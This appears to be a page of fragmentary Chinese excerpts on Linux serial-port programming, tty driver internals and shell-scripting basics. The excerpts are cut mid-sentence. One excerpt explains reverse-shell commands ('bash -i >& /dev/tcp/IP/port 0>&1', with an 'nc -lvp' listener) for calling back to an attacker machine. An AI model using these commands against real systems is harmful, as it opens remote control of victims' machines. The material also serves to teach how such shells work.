前言 命令行下常用的串口连接工具有 screen、minicom等。...实际生产测试需求中，常常有串口连通性测试，其对应的最简单的测试方法即：「调用非交互式串口工具登录串口并发送(命令)接收数据(命令返回)」。...但秉承能偷懒就偷懒，能用shell本身实现绝对不多**的宗旨，此文探索下 shell 的实现方法。...Shell实现 主要的实现思路：stty实现串口波特率等的设置，cat实现内容的读取，echo实现串口输入。...具体操作如下： 首先使用stty获取当前串口默认值，从第一行开始分别是 串口波特率 Special characters Special settings Control settings Input
虽然以太网接口和USB接口也是以一个串行流进行数据传送的，但是串口连接通常特指那些与RS-232标准兼容的硬件或者调制解调器的接口。废话少讲，今天来解剖使用串口时的编程代码细节。...上面的代码是使用串口的第一步，来解释下都是啥意思。...来瞧瞧： 第21-22行，定义了一个用来配置串口属性的结构体： struct termios serial; bzero(&serial, sizeof(serial)); 第24行，将串口设置为raw...cfsetispeed(&serial, B9600); cfsetospeed(&serial, B9600); 第28-32行，设置串口控制属性（c_cflag），其中： serial.c_cflag...： tcsetattr(fd,TCSANOW,&serial); 当然，上面的 fd 就是系统中的某一个你想要设置的成上面那样的属性参数的串口，比如就拿粤嵌GEC210开发板来说，他有四个串口，其中第一个就已经被用于终端控制了
/* * uart 打开分析 * * 问题： 当应用程序调用open系统调用函数，那么是如何open串口的?
最近在了解嵌入式方面的知识，就随笔记录一下： 查看Linux本机串口： 1、查看串口是否可用 可以对串口发送数据比如对com1口，echo /dev/ttyS0 2、查看串口名称使用 ls...-l /dev/ttyS* 一般情况下串口的名称全部在dev下面，如果你没有外插串口卡的话默认是dev下的ttyS*,一般ttyS0对应com1，ttyS1对应com2，当然也不一定是必然的； 3、...查看串口驱动 cat/proc/tty/drivers/serial 4、查看串口设备 dmesg | grep ttyS* 5、查一下板子上的串口有没有设备 grep tty/proc.../dev下应该有一个USB串口：/dev/ttyUSB0. 当一个串行卡或数据卡被侦测到时，它会被指定成为第一个可用的串行设备。...PC上的串口一般是ttyS，板子上Linux的串口一般叫做ttySAC； 串口使用： 如果需要查看这个串口设备输出： cat ttyUSB0 如果需要对这个设备输入： echo yaoxu > ttyUSB0
什么是shell？ shell是系统的用户界面，提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能： 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换（` ` 或$( ) ） shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为： 内部（内置）命令 内部命令是shell本身包含的一些命令，这些内部命令的代码是整个shell代码的一个组成部分； 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部（外置）命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中； 外部命令执行时，shell会在文件系统中指定的一些目录去搜索相应的文件，然后调入内存执行。...shell变量PATH中 ?
/*串口read函数分析 * 当应用程序调用read系统调用时，会调用tty_fops中的tty_read * 接下来分析tty_read函数 * * 其中最重要的就是ld->ops->read(tty...* 那么当我们的串口有数据的话，当然就调用我们以前注册的rx中断函数了。...unsigned int ufcon, ch, flag, ufstat, uerstat; int max_count = 64; while (max_count-- > 0) { /*读取UFCON串口配置寄存器...*/ ufcon = rd_regl(port, S3C2410_UFCON); /*读取 UFSTAT串口状态寄存器。...UERSTAT_OVERRUN, ch, flag); } /*这是才将整个数据送tty->read_buf中去*/ tty_flip_buffer_push(tty); } /* 将串口产生的数据送进
/*和read的分析过程一样， 我们首先分析tty_write*/ /*最重要的就是do_tty_write函数。 前面都是一些合法性判断*/ static ...
1 变量的分类 在Linux中，变量分为环境变量 和 局部变量。 环境变量能被子进程继承，而局部变量只能在当前进程中使用。...SHELL：当前使用的SHELL HISTSIZE：历史命令的最大条数 MAIL：当前用户的邮箱目录 PATH：可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID： echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量，只能在当前shell中使用；而环境变量相当于全局变量，可以在子shell中使用。...5 变量类型：declare/typeset Linux中的变量一共有5种类型，分别是：字符、整型、只读、环境变量。
查看Linux本机串口： 1、查看串口是否可用 如果需要查看这个串口设备输出： cat ttyUSB0 如果需要对这个设备输入： echo yaoxu > ttyUSB0 常用的调试工具有： minicom...cutecom Linux系统可视化串口应用软件，使用上与Windows系统串口调试工具。 picocom 效果上类似 minicom 的精简版，设置比较简单，还可以有背景颜色。...PC上的串口一般是ttyS，板子上Linux的串口一般叫做ttySAC； 串口权限问题 临时调试解决 在使用串口进行通信时，经常需要使用指令来赋予用户读写的权限 $ sudo chmod 777 /dev...它保存用户的有用信息，如用户名、密码、用户 ID、群组 ID、用户 ID 信息、用户的家目录和 Shell 。...Shell（/bin/bash）：代表用户使用的 shell 类型。 你可以使用 awk 或 cut 命令仅打印出 Linux 系统中所有用户的用户名列表。显示的结果是相同的。
简介 嵌入式Linux下串口编程与Linux系统下的编程没有什么区别，系统API都是一样的。...嵌入式设备中串口编程是很常用的，比如会对接一些传感器模块，这些模块大多是RS232或者RS485接口，对于软件层面上来说，RS232与RS48区别不大。...RS232与RS485在使用上的区别，RS232是全双工的，只能对接一个设备串口设备。RS485是半双工的总线协议，一般可以挂多个传感器设备，半双工的意思是同时只能有一个设备向串口发数据。...用到的API函数 函数 说明 open 打开设备，用于打开串口设备 fcntl 修改设备描述符属性参数 isatty 检测打开的描述符是否指向一个终端 tcgetattr 用来获取串口终端参数 cfmakeraw...将终端设置为原始模式,该模式下所有的输入数据以字节为单位被处理 tcflush 用于清空输入、输出缓冲区 tcsetattr 设置串口终端参数 read 读取数据 write 写数据 close 关闭串口设备
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if：0为真，接着走then。...同时由于shell里没有> 和< ,会被当作尖括号，整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时，其两边都必须加空格，否则失效！！！
在 Shell 语言中，可以直接定义变量。不过需要注意，在定义变量的过程中需要遵守一定的规则。这与绝大部分的编程语言类似。...~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中，直接使用“$”符，即可引用变量的值；一般配合 echo 命令可以打印变量的值； (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符，可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
函数创建两种方式： function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script，因此可以用调用脚本的方式来调用函数，在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题，需要单个传入，在函数中再包装成array，shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code，可以用$?
Linux shell 1、shell的概念 1）shell是一个命令行解释器，它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言，在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin.../bin/dash /bin/tcsh /bin/csh 4、shell脚本的执行方式 . shell.sh sh shell.sh ....;; pen|pencil) echo "study" ;; *) echo "usages: cat|dog|pen|pencil" esac 十一、Linux
接触过一些 shell 脚本，做服务端运维时也时常用到，是时候专门学习一下了。...=||/usr/bin/lesspipe.sh %sXDG_RUNTIME_DIR=/run/user/0HISTTIMEFORMAT=%F %T root_=/usr/bin/printenv 在 shell...Substitution and Constants 命令替换 echo Updated on $(date +"%x %r %Z") by $USER $(date+"%x %r %Z") 中 $() 告诉 shell...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command
什么是shell shell扮演者操作系统内核和用户的中间人的角色，用户通过键入shell command，然后shell通过解析用户输入，然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序 首先使用vim编辑器（或者是linux下任意的文本编辑器）编写文件helloshell.sh（没有必要使用.sh后缀名）： #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... # # nested if if [ $osch -eq 2 ] then echo "you pick up linux..." else echo "what you donot like unix/linux" fi fi #!
2345bash -i：打开一个bash交互界面 >：重定向 /dev/tcp：调用建立一个socket连接 127.0.0.1：可以任意更改需要反弹到的IP地址 2345：反弹到的端口 上面的是一个典型的反弹shell...的语句，但是这种不能实时地在攻击机输入，攻击机输出，只能在靶机输入东西，然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell，然后等靶机输入东西后，攻击机才能获取到内容...，攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &：标准错误输出重定向输出 0>&1：简单一点理解就是将我们在攻击机输入的命令当成靶机输入...，然后靶机返回内容时又重定向攻击机，也就是交互界面，打开了一个shell窗口，随意可以在攻击机执行命令，然后在攻击机输出结果，这么一个意思 0：标准输入 1：标准输出 2：标准错误输出 &：是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是，">&"相当于"2>&1"，标准错误输出 一个标准的反弹shell
当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户，负责接受用户的指令，解释并运行，将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发，为了纪念大佬，就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性，补全命令，命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。
Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面（GUI）。...每个Linux系统的用户可以拥有他自己的用户界面或Shell，用以满足他们自己专门的Shell需要。 同Linux本身一样，Shell也有多种不同的版本。...Korn Shell：是对Bourne SHell的发展，在大部分内容上与Bourne Shell兼容。 C Shell：是SUN公司Shell的BSD版本。 ...如下图：系统中的三种shell ================================================================ 在Linux系统中，我们要查看我们当前是使用哪种...shell，我们可以这样做： env | more 如图： 我们也可以修改当前的shell： chsh -s 新的shell 系统中的shell如下图： 新的shell可以是： /bin/
# Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时，需要编写Shell程序来进行服务器管理。...对于大数据程序员来说，需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器，它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序，用户可以用Shell来启动...看一个示意图 # Shell脚本的执行方式 # 脚本格式要求 脚本以#!.../bin/bash开头 脚本需要有可执行权限 # 编写第一个Shell脚本 需求说明:创建一个Shell脚本，输出hello world! vim hello.sh #!...的变量 # Shell变量介绍 Linux Shell中的变量分为，系统变量和用户自定义变量。
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